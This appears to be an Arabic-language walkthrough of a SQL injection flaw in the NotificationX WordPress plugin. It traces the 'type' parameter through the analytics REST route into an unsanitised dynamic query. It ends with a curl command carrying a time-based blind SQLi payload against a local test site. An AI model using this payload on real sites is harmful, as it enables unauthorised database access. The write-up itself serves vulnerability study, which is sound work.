
مرجع الكود 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php

مرجع الكود 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

لذلك، فإن الملف التالي مرتبط بهذه الثغرة CVE:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
الآن، سنتحقق من الملف الذي قد يحتوي على كود الثغرة:
ركّز على الدالة insert_analytics():
تستقبل $request (القادم من المستخدم) وتستخرج معامل type.
بعد ذلك، تُمرَّر هذه القيمة إلى الدالة CoreAnalytics::get_instance()->insert_analytics():

لتشغيل هذا الكود، يمكننا ملاحظة المسار المعرَّف (من كلاس Analytics، داخل الدالة register_routes()):
$this->namespace . '/' . $this->rest_base
وتكشف الدالة البنّاءة لكلاس Analytics عن قيم المتغيرين namespace و rest_base:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
إذن، يمكن الوصول إلى الكود (القابل للاختراق) الذي يقبل معامل type المقدَّم من المستخدم عبر المسار التالي:
notificationx/v1/analytics
ولكن ما هي طريقة الاستغلال وأين يوجد استعلام SQL الذي يتم به الحقن؟
بما أن معامل type المقدَّم من المستخدم يُمرَّر إلى:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
تحديد موقع هذه الدالة:
لنفحص كود هذه الدالة في الملف المميز:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

إذا كنت تعتقد أن الثغرة تكمن في الدالة increment_count()، فأنت على الطريق الصحيح تمامًا!
هذه هي الدالة increment_count (وهي تحمل المعامل $type القادم من المستخدم):

هذه الدالة بدورها تستدعي الدالة update_analytics(). لنتوجه إليها:


الدالة update_analytics تنشئ استعلام SQL بشكل ديناميكي، ومدخلات المستخدم غير المنقّاة جزء منه. هل تبدو مريبة؟ يجب أن تبدو كذلك، لأن هذا هو ما يسبب الثغرة.
المعامل $col يقابل المعامل type الذي يرسله المستخدم في طلب HTTP.
يتم تعيين $table_name إلى: nx_stats:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
لتحديد الفعل الصحيح، استخدمت واجهة برمجة تطبيقات REST الخاصة بووردبريس:
http://localhost/wp-json/

يمكن تشغيل مسار API /notificationx/v1/analytics عبر طلب POST، وعلينا تمرير nx_id (عدد صحيح) و(اختياريًا) type (سلسلة نصية).
تذكّر أن معلومات التحليلات كانت تُحدَّث في الجدول المسمى nx_stats، وهو ما استنتجناه سابقًا باستخدام هذه المقتطفات البرمجية من wp-content/plugins/notificationx/includes/Core/Database.php:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

خطتنا هي رؤية استعلام SQL المُنشأ عندما نمرر الحمولة (payload) في الطلب.
والآن، سنرسل طلب curl (مع حمولة SQLi) مرة أخرى:
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
